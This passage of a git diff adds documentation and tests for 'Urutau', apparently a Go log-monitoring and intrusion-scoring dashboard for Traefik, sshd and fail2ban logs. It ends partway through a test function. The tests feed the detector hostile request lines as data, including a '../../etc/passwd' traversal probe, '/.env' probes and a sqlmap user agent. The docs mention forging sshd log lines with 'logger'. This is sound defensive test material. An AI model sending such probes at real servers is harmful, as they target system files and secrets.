`--accesslog.filepath=/traefik/logs/access.log`. No Coolify o diretório do host `/data/coolify/proxy` é `/traefik` dentro do container do proxy, então esse arquivo aparece no host como `/data/coolify/proxy/logs/access.log`, que é o que o compose monta. Na interface do Coolify abra Servers, o servidor, Proxy, e acrescente essas três linhas à lista `command` da configuração do proxy, depois reinicie o proxy. No mesmo lugar acrescente os cabeçalhos que o Urutau usa para distinguir visitas reais de requisições enquadradas: `--accesslog.fields.headers.names.Sec-Fetch-Site=keep`, `--accesslog.fields.headers.names.Sec-Fetch-Dest=keep` e `--accesslog.fields.headers.names.Referer=keep`. +- **auth.log e fail2ban.log:** o diretório dedicado do host `/var/log/urutau` é montado somente leitura em `/logs/host` como diretório, porque o logrotate recria esses arquivos por renomeação e uma montagem de arquivo único continuaria seguindo o inode antigo. Prepare-o como em [Preparando os logs do host](#preparando-os-logs-do-host). Os arquivos pertencem a `syslog:adm`, então o container adiciona o grupo `adm` do host (GID 4) com `group_add: ["4"]`, como o compose faz. Nada mais do `/var/log` do host é exposto. +- **Somente leitura:** todas as montagens de log são `:ro`. O Urutau nunca escreve em um log. +- **Rotação:** o seguidor reabre o arquivo quando o logrotate o substitui ou trunca. + +## Preparando os logs do host + +O Urutau lê um diretório dedicado, `/var/log/urutau`, e não o `/var/log` inteiro. Prepare-o uma vez em cada servidor (o `/var/log/auth.log` original continua intacto): + +```bash +sudo install -d -m 0750 -o syslog -g adm /var/log/urutau + +# rsyslog: copia as linhas do sshd para um arquivo próprio +sudo tee /etc/rsyslog.d/40-urutau.conf >/dev/null <<'EOF' +if $programname == 'sshd' or $programname == 'sshd-session' then { + action(type="omfile" file="/var/log/urutau/auth.log" template="RSYSLOG_FileFormat" + fileOwner="syslog" fileGroup="adm" fileCreateMode="0640") +} +EOF +sudo systemctl restart rsyslog + +# fail2ban: grava o log dele ali também +sudo tee /etc/fail2ban/fail2ban.d/urutau.local >/dev/null <<'EOF' +[Definition] +logtarget = /var/log/urutau/fail2ban.log +EOF +sudo systemctl restart fail2ban + +# logrotate para os dois arquivos +sudo tee /etc/logrotate.d/urutau >/dev/null <<'EOF' +/var/log/urutau/*.log { + weekly + rotate 4 + compress + delaycompress + missingok + notifempty + create 0640 syslog adm + postrotate + systemctl kill -s HUP rsyslog.service 2>/dev/null || true + fail2ban-client flushlogs >/dev/null 2>&1 || true + endscript +} +EOF +``` + +O `RSYSLOG_FileFormat` grava timestamps ISO, que é o formato que o Urutau interpreta. Confira o GID do `adm` com `getent group adm`. Limitação conhecida: um usuário local do host pode forjar linhas do sshd com `logger -t sshd`. O Urutau limita o dano (o nível hostil exige sinal forte e a imunidade de admin dura 24 horas), mas quem tem shell no host já está dentro do seu limite de confiança. + +## Exemplo: Coolify + +Crie um recurso Docker Compose no servidor Coolify cujos logs você quer observar, com este compose: + +```yaml +services: + urutau: + image: git.lucasrguerra.dev.br/ciberfauna/urutau:latest + restart: unless-stopped + environment: + URUTAU_TOKEN: ${URUTAU_TOKEN} + URUTAU_NAME: server-1 + URUTAU_AUTH_LOG: /logs/host/auth.log + URUTAU_FAIL2BAN_LOG: /logs/host/fail2ban.log + URUTAU_TRUSTED_PROXY: 10.250.0.0/24 + TZ: UTC # o fuso do host (fail2ban.log não tem fuso) + group_add: ["4"] # adm: lê auth.log e fail2ban.log + read_only: true + cap_drop: [ALL] + security_opt: ["no-new-privileges:true"] + volumes: + - /data/coolify/proxy/logs:/logs/traefik:ro + - /var/log/urutau:/logs/host:ro + - urutau-data:/data + networks: [urutau-edge] + labels: + - traefik.enable=true + - traefik.docker.network=urutau-edge + - traefik.http.routers.urutau.rule=Host(`urutau.example.com`) + - traefik.http.routers.urutau.entrypoints=https + - traefik.http.routers.urutau.tls=true + - traefik.http.routers.urutau.tls.certresolver=letsencrypt + - traefik.http.services.urutau.loadbalancer.server.port=8790 + +volumes: + urutau-data: + +networks: + urutau-edge: + external: true +``` + +Notas: + +- **Uma rede compartilhada só com o Traefik.** `--trusted-proxy` tem como padrão só o loopback, então por padrão o `X-Forwarded-For` é ignorado. O compose cria a rede `urutau-edge` (`10.250.0.0/24`) e define `URUTAU_TRUSTED_PROXY=10.250.0.0/24`, então só o proxy dessa rede é acreditado (qualquer outro container ali poderia forjar IPs de cliente, então deixe só o proxy). Conecte o proxy uma vez: `docker network connect urutau-edge coolify-proxy`. Em um compose avulso como o exemplo abaixo, declare a rede do mesmo jeito e defina a variável. O label `traefik.docker.network` diz ao Traefik para usá-la. Adapte os nomes do entrypoint e do certresolver ao seu proxy. +- A imagem já aponta as fontes para `/logs/traefik/access.log`, `/logs/host/auth.log` e `/logs/host/fail2ban.log` (seus padrões `URUTAU_*_LOG`). Os padrões do próprio binário (`/data/coolify/proxy/access.log`, `/var/log/...`) servem para rodá-lo direto no host. +- Defina `URUTAU_TOKEN` no ambiente do Coolify. Atrás do proxy o dashboard é servido por HTTPS, então o cookie de sessão é `Secure`. +- Não publique a porta 8790 no host quando o proxy já a roteia. +- Se o access log do Traefik não existir ou não for JSON, a fonte fica em zero linhas ou `malformed` cresce. +- O Urutau não precisa de `tmpfs`: o sistema de arquivos raiz é somente leitura e seu único destino de escrita é o volume `/data`. + +## Base de geolocalização + +As bases DB-IP Lite são baixadas no volume de dados (`/data/geo`) na primeira inicialização, então o container precisa de HTTPS de saída para `download.db-ip.com` uma vez, e depois uma vez por mês. Se o host não alcança a internet, copie os dois arquivos `.mmdb` para o volume e defina `URUTAU_GEO_UPDATE=0` ([configuracao.md](configuracao.md)). Dados por [DB-IP](https://db-ip.com), CC BY 4.0. + +## Federação entre servidores + +Rode um Urutau por servidor, cada um com seu `URUTAU_NAME`. Toda instância consultada define o próprio token de servidor, `URUTAU_PEER_TOKEN` (ou `_FILE`), e esse é o único token que o export dela aceita. O hub guarda uma credencial de cliente para cada peer, igual ao token de servidor desse peer: um `URUTAU_PEER_TOKEN_` por peer (o nome do peer em maiúsculas, outros caracteres viram `_`, por exemplo `URUTAU_PEER_TOKEN_SERVER_2`), com o `URUTAU_PEER_TOKEN` geral do hub como reserva. Uma credencial de cliente não abre o export do próprio hub, e nomes de peer que viram a mesma variável (`my-peer` e `my_peer`) são recusados. Os tokens precisam de 32+ caracteres e cerca de 128 bits de entropia, diferentes de `URUTAU_TOKEN` (`openssl rand -base64 48`), e podem vir de `..._FILE`. No servidor que hospeda o dashboard compartilhado (o hub) acrescente: + +```yaml + environment: + URUTAU_PEERS: server-2=https://urutau.server2.example.com,server-3=https://urutau.server3.example.com + URUTAU_PEER_TOKEN_SERVER_2: ${TOKEN_FOR_SERVER_2} + URUTAU_PEER_TOKEN_SERVER_3: ${TOKEN_FOR_SERVER_3} +``` + +O hub chama apenas `GET /api/v1/peer/export` em cada peer (três intervalos a cada 15 segundos) com o token daquele peer, que não abre mais nada no peer e é recusado em `http` simples fora de loopback. Defina `URUTAU_PEER_ALLOW` em um peer com o endereço do hub para restringir quem pode chamar o export. Cada peer mantém seu próprio token de login para o próprio dashboard. + +## Endurecimento + +`read_only: true`, `cap_drop: [ALL]`, `no-new-privileges` e montagens de log somente leitura deixam o container capaz de uma coisa só: ler os logs e gravar seu snapshot. Mantenha a imagem em uma tag fixa (`X.Y.Z`) em produção e `latest` só onde você aceita atualizações. + +## Saúde e desligamento + +`GET /api/health` responde `{"status":"ok"}` sem autenticação. `urutau healthcheck` o chama localmente e sai com 0 quando o daemon está saudável; a imagem o usa como `HEALTHCHECK`. Em `SIGTERM` o daemon para de aceitar requisições, salva o snapshot e sai. diff --git a/docs/pt-BR/interface.md b/docs/pt-BR/interface.md new file mode 100644 index 0000000..e80c91e --- /dev/null +++ b/docs/pt-BR/interface.md @@ -0,0 +1,53 @@ +

◂ Voltar ao README

+ +# Interface + +O dashboard é embutido no binário: HTML, CSS e JavaScript puros, sem etapa de build e sem requisição externa (fontes, scripts e estilos são todos servidos pelo Urutau, o que a Content-Security-Policy garante). Segue o tema claro ou escuro do sistema, pode ser alternado à mão e fala inglês ou português (botão no cabeçalho; a escolha fica guardada no navegador). + +## Login + +Abra o endereço da instância. Sem sessão você é enviado a `/login`: cole o `URUTAU_TOKEN`. A sessão dura 12 horas (cookie `urutau_session`, `HttpOnly`, `SameSite=Strict`) e é revogável: ela guarda um id aleatório em memória, **Sair** a revoga (e fecha o stream ao vivo dela), e um reinício do daemon invalida todas as sessões. Login e logout rejeitam requisições cross-site. Após 5 falhas do mesmo endereço (IPv6 contado por /64) em 10 minutos o login responde 429, e um token correto ainda é aceito, mas com 1 segundo de atraso, para que o limitador não tranque o dono do lado de fora. Bearer tokens errados na API também contam como falha (o endereço é o do cliente real atrás dos proxies de `--trusted-proxy`). **Sair** encerra a sessão. + +## Cabeçalho + +- Um indicador ao vivo mostrando se o stream de eventos (SSE) está conectado (uma instância atende no máximo 20 clientes do stream ao mesmo tempo). +- O seletor de **host**: `all`, esta instância e cada peer de um hub. +- O seletor de **intervalo**: `1h`, `24h` ou `7d`. +- Botões de idioma, tema e sair. + +## Aba Ameaças + +- **KPIs:** requisições, eventos maliciosos, IPs hostis, IPs suspeitos, bans e o contador "monitoring" (requisições benignas de User-Agents de monitor, fora dos números de tráfego). +- **Linha do tempo:** contadores empilhados por categoria no intervalo escolhido. +- **IPs:** uma tabela com pontuação, nível (`hostile`, `suspicious`, `low`), categorias, hosts, DNS reverso, país, cidade e ASN, último evento e estado de ban. Tem busca (IP ou DNS reverso), filtro de nível, filtro "só banidos", ordenação por IP, pontuação ou último evento e paginação. Clique numa linha para o painel de detalhe: primeiro e último evento, contagem por categoria, caminhos de exemplo, User-Agents (interpretados em navegador, SO, dispositivo, bot ou ferramenta de ataque), domínios, usuários e jails. +- **Feed ao vivo:** os últimos eventos conforme chegam. Os campos dos logs são mostrados como texto, nunca como marcação. +- **Listas de top:** caminhos atacados, domínios, User-Agents e usuários visados. +- **Blocklist:** escolha uma pontuação mínima (padrão 50), copie a lista ou baixe. Ela só lista endereços hostis e globalmente roteáveis (nunca faixas de `--ignore` ou `--trusted`, nunca um IP com login SSH bem-sucedido); o IPv6 aparece como o /64, escrito `x:x:x:x::/64`. +- **Mapa:** um mapa-múndi dos países de origem da atividade hostil. +- **Hosts e fontes:** cada instância com seu estado (online, latência, versão) e cada fonte de log com seu estado (`following`, `waiting`, `backfill`, `error`), linhas lidas, linhas malformadas e último evento. Os caminhos dos arquivos não são mostrados. + +## Aba Tráfego + +Web analytics amigável à privacidade para o tráfego legítimo, construído do mesmo log do Traefik e substituindo o analytics do proxy: visitantes únicos, páginas, referrers, países, navegadores, sistemas operacionais e dispositivos, latência de resposta (p50 e p95), bytes enviados e um mapa-múndi dos países dos visitantes. Visitantes únicos são contados por um hash com sal diário; o IP de um visitante legítimo nunca é gravado. Veja o [SECURITY.pt-BR.md](../../SECURITY.pt-BR.md). + +## Atribuição + +Dados de geolocalização de IP por [DB-IP](https://db-ip.com), licenciados sob [CC BY 4.0](https://creativecommons.org/licenses/by/4.0/). O crédito também aparece no rodapé do dashboard. + +## Rotas HTTP + +| Rota | Auth | Finalidade | +|---|---|---| +| `GET /api/health` | nenhuma | `{"status":"ok"}` | +| `GET /login`, `POST /login`, `POST /logout` | nenhuma | sessão | +| `GET /` e os arquivos estáticos | sessão | o dashboard | +| `GET /api/v1/summary` | sessão ou bearer | tudo o que o dashboard mostra. Query: `range` (`1h`, `24h`, `7d`), `host` (`all`, um nome) | +| `GET /api/v1/traffic` | sessão ou bearer | web analytics do tráfego legítimo. Query: `range`, `domain` (`all` ou um domínio), `host`. Retorna visitantes, páginas, requisições, bots, bytes, classes de status, `p50_ms`, `p95_ms`, linha do tempo, top de páginas, referrers, países, cidades, navegadores, sistemas operacionais, dispositivos e nomes de bots | +| `GET /api/v1/peer/export` | só token de peer | federação: `{"v":1,"summary":...,"traffic":{...}}` com os 500 IPs principais e seus detalhes. Query: `range` (`1h`, `24h`, `7d`). Cache de 5 s. 404 sem token de peer, 401 para `URUTAU_TOKEN`, 403 de origem fora de `--peer-allow` | +| `GET /api/v1/ips` | sessão ou bearer | tabela de IPs. Query: `range`, `host`, `min_score`, `level`, `q`, `banned=1`, `sort` (`score`, `last`, `first`, `events`, `ip`), `order=asc`, `per` (1 a 200, padrão 50), `page` | +| `GET /api/v1/ip/{ip}` | sessão ou bearer | detalhe de um IP, mesclado com os exports dos peers | +| `GET /api/v1/events/stream` | sessão ou bearer | Server-Sent Events, evento `ev`, um ping a cada 20 s | +| `GET /api/v1/blocklist.txt` | sessão ou bearer | um IP por linha. Query: `min_score` (padrão 50), `range` (padrão `7d`), `host`, `family` (`4`, `6`; padrão ambos; `4` serve ao `ipset hash:ip`), `download=1` | +| `GET /api/v1/blocklist.json` | sessão ou bearer | `{"generated","min_score","count","ips":[{"ip","score","last","hosts"}]}`; o `ip` de uma entrada IPv6 é um prefixo `/64` | + +Clientes da API enviam `Authorization: Bearer `. O token de peer só é aceito por `/api/v1/peer/export`; todas as outras rotas respondem 403 a ele. diff --git a/docs/pt-BR/suporte.md b/docs/pt-BR/suporte.md new file mode 100644 index 0000000..f136bf3 --- /dev/null +++ b/docs/pt-BR/suporte.md @@ -0,0 +1,46 @@ +

◂ Voltar ao README

+ +# Suporte + +[English](../support.md) · **Português** + +O Urutau é distribuído como uma única imagem de container. A forma mais rápida de conseguir ajuda é abrir uma issue no repositório Gitea. + +## Antes de abrir uma issue + +1. Rode `docker exec urutau urutau doctor --json` (ou `urutau doctor --json` no binário do host) e anexe a saída. +2. Confirme a versão com `urutau version`. +3. Revise [`configuracao.md`](configuracao.md), [`docker.md`](docker.md) e [`arquitetura.md`](arquitetura.md), principalmente as montagens de log e o grupo `adm`. + +## O que incluir + +- SO do host, arquitetura (`uname -m`) e versão do Urutau ou tag da imagem. +- O `docker-compose.yml` (ou a linha de comando) em uso, sem tokens. +- Os logs do container: `docker compose logs urutau`. +- O estado de cada fonte no dashboard (`following`, `waiting`, `backfill`, `error`), com as contagens de linhas e malformadas. +- Uma ou duas linhas de log de exemplo classificadas errado ou rejeitadas, com os IPs ocultados. + +Não anexe tokens, IPs reais de clientes nem logs de sistemas que você não está autorizado a tratar. + +## Questões de segurança + +Não inclua detalhes de exploração numa issue pública. Siga o [SECURITY.pt-BR.md](../../SECURITY.pt-BR.md) e peça um canal de comunicação privado. + +## Situações comuns + +| Sintoma | O que checar | +|---|---| +| O container sai ao iniciar com `URUTAU_TOKEN is required` | Defina `URUTAU_TOKEN` com no mínimo 32 caracteres e cerca de 128 bits de entropia estimada (comprimento vezes entropia de Shannon; tokens periódicos ou sequenciais são recusados) (`openssl rand -base64 48`), ou aponte `URUTAU_TOKEN_FILE` para um arquivo que o contenha | +| Uma fonte fica em `waiting` | O arquivo não existe nesse caminho dentro do container; confira a montagem e o caminho `URUTAU_*_LOG` | +| Uma fonte mostra `error` com `permission denied` | Adicione o grupo `adm` do host com `group_add: ["4"]` (`getent group adm`) e monte o arquivo com `:ro` | +| A fonte do Traefik tem muitas linhas malformadas | O access log não é JSON; defina `accessLog.format: json` no Traefik | +| Linhas são contadas mas nada aparece | A origem está em `URUTAU_TRUSTED` ou `URUTAU_IGNORE` (as faixas privadas são descartadas por padrão), ou a requisição é de um User-Agent de monitoramento | +| Todos os acessos vêm de um endereço interno | O proxy esconde o cliente real; repasse o endereço do cliente ao Traefik | +| Os horários do fail2ban estão deslocados em horas | O `fail2ban.log` não tem fuso; defina `TZ` com o fuso do host | +| As contagens parecem duplicadas após um reinício | O snapshot não foi salvo ou foi perdido; monte `/data` em um volume | +| O dashboard fica inacessível de outro host | Ele faz bind em `127.0.0.1` via `URUTAU_PUBLISH`; confira o proxy reverso | +| Um hub se recusa a iniciar com `has no token` | Todo peer precisa de um token: defina `URUTAU_PEER_TOKEN` ou `URUTAU_PEER_TOKEN_` (o nome do peer em maiúsculas, outros caracteres como `_`) | +| O login responde 429 | Falhas demais daquele endereço; espere a janela (10 minutos) ou tente depois, o token correto ainda entra após 1 segundo de atraso | +| A fonte do Traefik fica em `waiting` no Coolify | O Traefik não está gravando `/traefik/logs/access.log`; veja a seção do Coolify em [docker.md](docker.md) | +| Um peer aparece offline | URL ou `URUTAU_PEER_TOKEN` errados, ou o peer não é alcançável pelo hub; o erro aparece no cartão do host | +| `--insecure-no-auth` é recusado | Só funciona em bind loopback; use um token | diff --git a/docs/support.md b/docs/support.md new file mode 100644 index 0000000..fa14c64 --- /dev/null +++ b/docs/support.md @@ -0,0 +1,46 @@ +

◂ Back to README

+ +# Support + +**English** · [Português](pt-BR/suporte.md) + +Urutau is distributed as a single container image. The fastest way to get help is opening an issue in the Gitea repository. + +## Before opening an issue + +1. Run `docker exec urutau urutau doctor --json` (or `urutau doctor --json` on the host binary) and attach the output. +2. Confirm the version with `urutau version`. +3. Review [`configuration.md`](configuration.md), [`docker.md`](docker.md) and [`architecture.md`](architecture.md), especially the log mounts and the `adm` group. + +## What to include + +- Host OS, architecture (`uname -m`) and Urutau version or image tag. +- The `docker-compose.yml` (or the command line) in use, without tokens. +- The container logs: `docker compose logs urutau`. +- The state of each source on the dashboard (`following`, `waiting`, `backfill`, `error`), with the lines and malformed counts. +- One or two example log lines that are misclassified or rejected, with IPs redacted. + +Do not attach tokens, real client IPs or logs of systems you are not authorized to handle. + +## Security issues + +Do not include exploit details in a public issue. Follow [SECURITY.md](../SECURITY.md) and request a private communication channel. + +## Common situations + +| Symptom | What to check | +|---|---| +| The container exits at start with `URUTAU_TOKEN is required` | Set `URUTAU_TOKEN` with at least 32 characters and about 128 bits of estimated entropy (length times Shannon entropy; periodic or sequential tokens are refused) (`openssl rand -base64 48`), or point `URUTAU_TOKEN_FILE` at a file that holds it | +| A source stays at `waiting` | The file does not exist at that path inside the container; check the mount and the `URUTAU_*_LOG` path | +| A source shows `error` with `permission denied` | Add the host `adm` group with `group_add: ["4"]` (`getent group adm`) and mount the file `:ro` | +| The Traefik source has many malformed lines | The access log is not JSON; set `accessLog.format: json` in Traefik | +| Lines count but nothing appears | The origin is in `URUTAU_TRUSTED` or `URUTAU_IGNORE` (private ranges are dropped by default), or the request is a monitoring User-Agent | +| All hits come from one internal address | The proxy hides the real client; pass the client address through to Traefik | +| fail2ban times are off by hours | `fail2ban.log` has no time zone; set `TZ` to the host's zone | +| Counts look duplicated after a restart | The snapshot was not saved or was lost; mount `/data` on a volume | +| The dashboard is unreachable from another host | It binds to `127.0.0.1` through `URUTAU_PUBLISH`; check the reverse proxy | +| A hub refuses to start with `has no token` | Every peer needs a token: set `URUTAU_PEER_TOKEN` or `URUTAU_PEER_TOKEN_` (the peer name uppercased, other characters as `_`) | +| The login answers 429 | Too many failures from that address; wait for the window (10 minutes) or retry later, the correct token still gets in after a 1 second delay | +| The Traefik source stays at `waiting` on Coolify | Traefik is not writing `/traefik/logs/access.log`; see the Coolify section of [docker.md](docker.md) | +| A peer shows offline | Wrong URL or `URUTAU_PEER_TOKEN`, or the peer is not reachable from the hub; the error is shown on the host card | +| `--insecure-no-auth` is refused | It only works on a loopback bind; use a token | diff --git a/go.mod b/go.mod new file mode 100644 index 0000000..c78de76 --- /dev/null +++ b/go.mod @@ -0,0 +1,3 @@ +module git.lucasrguerra.dev.br/ciberfauna/urutau + +go 1.26.11 diff --git a/internal/app/app_test.go b/internal/app/app_test.go new file mode 100644 index 0000000..1bf4715 --- /dev/null +++ b/internal/app/app_test.go @@ -0,0 +1,415 @@ +package app + +import ( + "encoding/json" + "fmt" + "git.lucasrguerra.dev.br/ciberfauna/urutau/internal/core" + "io" + "log/slog" + "net/http" + "net/http/httptest" + "os" + "path/filepath" + "strings" + "testing" + "time" + + "git.lucasrguerra.dev.br/ciberfauna/urutau/internal/store" +) + +func runner(t *testing.T, extra func(*Config)) (*Runner, *store.Store) { + c := Config{Ignore: DefaultIgnore, MonitorUA: DefaultMonitorUA, Name: "t", Retention: 168 * time.Hour, Trusted: "136.248.78.83,2001:db8:1::/48", TrustedProxy: DefaultTrustedProxy} + if extra != nil { + extra(&c) + } + st := store.New(store.Config{Name: "t", Version: "t"}) + r, err := NewRunner(c, st, slog.New(slog.NewTextHandler(io.Discard, nil))) + if err != nil { + t.Fatal(err) + } + return r, st +} + +func line(ip, method, path, ua string, status int) []byte { + return []byte(fmt.Sprintf(`{"ClientHost":%q,"DownstreamStatus":%d,"RequestHost":"a.example","RequestMethod":%q,"RequestPath":%q,"StartUTC":%q,"request_User-Agent":%q}`, + ip, status, method, path, time.Now().UTC().Format(time.RFC3339Nano), ua)) +} + +func TestMonitoringTrustedAndForged(t *testing.T) { + r, st := runner(t, nil) + h := r.handle(&source{name: "traefik", parse: traefikParse}) + + h(line("203.0.113.7", "GET", "/", "Uptime-Kuma/1.23", 200)) + h(line("203.0.113.7", "GET", "/missing", "Uptime-Kuma/1.23", 404)) + if _, ok := st.IP("203.0.113.7"); ok { + t.Fatal("monitor traffic must not create or score an IP") + } + sum := st.Summary("1h") + // without --monitor-from only the successful hit is filtered; the 404 is plain traffic + if sum.Totals.Monitoring != 1 || sum.Totals.Requests != 1 || sum.Totals.Malicious != 0 { + t.Fatalf("monitoring accounting: %+v", sum.Totals) + } + + h(line("203.0.113.7", "GET", "/.env", "Uptime-Kuma/1.23", 404)) + ip, ok := st.IP("203.0.113.7") + if !ok || ip.Score != 3 || ip.Counts["scanner"] != 1 { + t.Fatalf("forged monitor UA must be scored as an attack: %+v", ip) + } + if len(ip.Samples) != 1 || ip.Samples[0] != "GET /.env [forged monitor UA]" { + t.Fatalf("samples %v", ip.Samples) + } + if rec := st.Recent(5); len(rec) != 1 || !rec[0].Forged { + t.Fatalf("feed %+v", rec) + } + + // trusted origins are dropped entirely, even for exploits and with other UAs + h(line("136.248.78.83", "GET", "/?x=../../etc/passwd", "curl/8", 200)) + h(line("2001:db8:1::5", "GET", "/.env", "curl/8", 404)) + h(line("127.0.0.1", "GET", "/.env", "curl/8", 404)) + for _, a := range []string{"136.248.78.83", "2001:db8:1::5", "127.0.0.1"} { + if _, ok := st.IP(a); ok { + t.Fatalf("%s must be dropped", a) + } + } + // a non-matching UA from an external IP is a normal request + h(line("198.51.100.4", "GET", "/.env", "Mozilla/5.0", 404)) + if _, ok := st.IP("198.51.100.4"); !ok { + t.Fatal("regular traffic is recorded") + } +} + +const tok = "user-token-0123456789-abcdefghijklmnop" + +func TestFlagsTrustedAndIgnoreAlias(t *testing.T) { + c, err := ParseFlags("serve", []string{"--trusted", "1.1.1.1", "--trusted", "2.2.2.0/24,3.3.3.3", "--ignore", "9.9.9.9", "--monitor-ua", "^kuma"}) + if err != nil { + t.Fatal(err) + } + if c.Trusted != "1.1.1.1,2.2.2.0/24,3.3.3.3" || c.Ignore != "9.9.9.9" || c.MonitorUA != "^kuma" { + t.Fatalf("%+v", c) + } + c.Bind = "0.0.0.0:1" + if _, err := c.Validate(tok); err != nil { + t.Fatal(err) + } + c.MonitorUA = "(" + if _, err := c.Validate(tok); err == nil { + t.Fatal("bad regex must be rejected") + } + if _, err := (Config{Ignore: "nonsense", MonitorUA: "", Retention: 168 * time.Hour}).Validate(tok); err == nil { + t.Fatal("bad cidr must be rejected") + } + if _, err := (Config{NoAuth: true, Bind: "0.0.0.0:1", Retention: 168 * time.Hour}).Validate(""); err == nil { + t.Fatal("no-auth must require loopback") + } +} + +type fakeEnr struct{} + +func (fakeEnr) Geo(ip string) core.GeoInfo { + return core.GeoInfo{CC: "NL", City: "Amsterdam", Country: "Netherlands"} +} +func (fakeEnr) UA(raw string) core.UAInfo { + switch { + case strings.HasPrefix(raw, "sqlmap"): + return core.UAInfo{Device: "tool", Tool: "sqlmap"} + case strings.HasPrefix(raw, "Googlebot"): + return core.UAInfo{Device: "bot", Bot: true, BotName: "Googlebot"} + } + return core.UAInfo{Browser: "Firefox", OS: "Linux", Device: "desktop"} +} + +func TestEnrichmentFeedsThreatAndTraffic(t *testing.T) { + r, st := runner(t, nil) + r.Enr = fakeEnr{} + st.SetEnricher(fakeEnr{}) + h := r.handle(&source{name: "traefik", parse: traefikParse}) + h(line("203.0.113.9", "GET", "/", "Mozilla/5.0 Firefox", 200)) + h(line("203.0.113.9", "GET", "/blog", "Mozilla/5.0 Firefox", 200)) + h(line("66.249.1.1", "GET", "/", "Googlebot/2.1", 200)) + h(line("198.51.100.66", "GET", "/.env", "sqlmap/1.7", 404)) + tr := st.TrafficSummary("1h", "all") + if tr.Pages != 2 || tr.Visitors != 1 || tr.Bots != 1 || tr.Countries[0].Key != "NL" || tr.Browsers[0].Key != "Firefox" { + t.Fatalf("traffic %+v", tr) + } + ip, ok := st.IP("198.51.100.66") + if !ok || ip.Score != 5 || ip.CC != "NL" || ip.City != "Amsterdam" || len(ip.UALabels) != 1 || ip.UALabels[0] != "sqlmap (tool)" { + t.Fatalf("tool IP %+v", ip) + } + if _, ok := st.IP("203.0.113.9"); ok { + t.Fatal("legitimate visitor must not be tracked") + } +} + +func TestTokenAndFederationValidation(t *testing.T) { + base := Config{Bind: "0.0.0.0:1", Retention: 168 * time.Hour, MonitorUA: "", Ignore: DefaultIgnore, TrustedProxy: DefaultTrustedProxy} + peerTok := "peer-token-0123456789-abcdefghijklmnopq" + if _, err := base.Validate("short-token-1234567890"); err == nil { + t.Fatal("URUTAU_TOKEN under 32 characters must be refused") + } + if _, err := base.Validate(tok); err != nil { + t.Fatal(err) + } + c := base + c.PeerToken = "short-peer" + if _, err := c.Validate(tok); err == nil { + t.Fatal("peer token under 32 characters must be refused") + } + c.PeerToken = tok + if _, err := c.Validate(tok); err == nil { + t.Fatal("peer token equal to URUTAU_TOKEN must be refused") + } + c.PeerToken = peerTok + if _, err := c.Validate(tok); err != nil { + t.Fatal(err) + } + c.Peers = []string{"hostinger=https://urutau.example.org"} + c.PeerToken = "" + if _, err := c.Validate(tok); err == nil { + t.Fatal("peers without a peer token must be refused") + } + c.PeerToken = peerTok + c.Peers = []string{"hostinger=http://urutau.example.org"} + if _, err := c.Validate(tok); err == nil { + t.Fatal("plain http to a non-loopback peer must be refused") + } + c.Peers = []string{"h=http://127.0.0.1:8791"} + if _, err := c.Validate(tok); err != nil { + t.Fatalf("http is fine on loopback: %v", err) + } + c.PeerAllow, c.Peers = "not-a-cidr", nil + if _, err := c.Validate(tok); err == nil { + t.Fatal("bad --peer-allow must be refused") + } + cfg, err := ParseFlags("serve", []string{"--peer-allow", "203.0.113.0/24", "--peer-allow", "198.51.100.7", "--trusted-proxy", "10.0.0.0/8"}) + if err != nil || cfg.PeerAllow != "203.0.113.0/24,198.51.100.7" || cfg.TrustedProxy != "10.0.0.0/8" { + t.Fatalf("%+v %v", cfg, err) + } +} + +func TestCorruptSnapshotDoesNotStopStartup(t *testing.T) { + log := slog.New(slog.NewTextHandler(io.Discard, nil)) + dir := t.TempDir() + good := store.New(store.Config{Name: "t", Version: "t"}) + good.Ingest(core.Event{Time: time.Now(), IP: "5.5.5.5", Cat: core.Exploit, Source: "traefik", Method: "GET", Path: "/x"}) + if err := good.Save(SnapshotPath(dir), map[string]store.Offset{"traefik": {Inode: 1, Offset: 10}}); err != nil { + t.Fatal(err) + } + raw, _ := os.ReadFile(SnapshotPath(dir)) + for name, data := range map[string][]byte{"truncated": raw[:len(raw)/2], "garbage": []byte("not a gob at all \x00\x01\x02"), "empty": {}} { + if err := os.WriteFile(SnapshotPath(dir), data, 0o600); err != nil { + t.Fatal(err) + } + st := store.New(store.Config{Name: "t", Version: "t"}) + offs := LoadState(st, dir, log) + if len(offs) != 0 || st.IPCount() != 0 { + t.Fatalf("%s: must start empty, got %v / %d IPs", name, offs, st.IPCount()) + } + if _, err := os.Stat(SnapshotPath(dir) + ".corrupt"); err != nil { + t.Fatalf("%s: the bad snapshot must be set aside: %v", name, err) + } + st.Ingest(core.Event{Time: time.Now(), IP: "6.6.6.6", Cat: core.Exploit, Source: "traefik", Method: "GET", Path: "/x"}) + if st.IPCount() != 1 { + t.Fatal("the store must be usable after a bad snapshot") + } + } + // the intact snapshot restores + if err := good.Save(SnapshotPath(dir), map[string]store.Offset{"traefik": {Inode: 1, Offset: 10}}); err != nil { + t.Fatal(err) + } + st := store.New(store.Config{Name: "t", Version: "t"}) + if offs := LoadState(st, dir, log); offs["traefik"].Offset != 10 || st.IPCount() != 1 { + t.Fatal("a good snapshot must restore") + } +} + +func TestDoctorJSONReportsGeoAndTraffic(t *testing.T) { + dir := t.TempDir() + st := store.New(store.Config{Name: "t", Version: "t"}) + st.Traffic(core.Event{Time: time.Now(), IP: "9.9.9.9", Cat: core.OK, Source: "traefik", Domain: "a.example", Method: "GET", Path: "/", Status: 200}) + if err := st.Save(SnapshotPath(dir), nil); err != nil { + t.Fatal(err) + } + t.Setenv("URUTAU_TOKEN", tok) + c := Config{Bind: "0.0.0.0:1", Name: "t", DataDir: dir, GeoDir: filepath.Join(dir, "geo"), GeoUpdate: time.Hour, Ignore: DefaultIgnore, + TrustedProxy: DefaultTrustedProxy, Retention: 168 * time.Hour} + var out strings.Builder + if !Doctor(c, &out, true) { + t.Fatalf("doctor failed: %s", out.String()) + } + var doc struct { + Version string + Geo map[string]any + State map[string]any + Checks []Check + } + if err := json.Unmarshal([]byte(out.String()), &doc); err != nil { + t.Fatal(err) + } + if doc.Version == "" || doc.Geo["dir"] == nil || doc.Geo["attribution"] == nil || doc.Geo["city"] == nil { + t.Fatalf("geo section: %+v", doc.Geo) + } + if doc.State["traffic_domains"].(float64) != 1 || doc.State["ips"] == nil { + t.Fatalf("state section: %+v", doc.State) + } + if strings.Contains(out.String(), "9.9.9.9") { + t.Fatal("doctor must not print visitor IPs") + } +} + +func TestMonitorFromBindsTheUserAgentToItsNetwork(t *testing.T) { + r, st := runner(t, func(c *Config) { c.MonitorFrom = "203.0.113.0/24" }) + h := r.handle(&source{name: "traefik", parse: traefikParse}) + 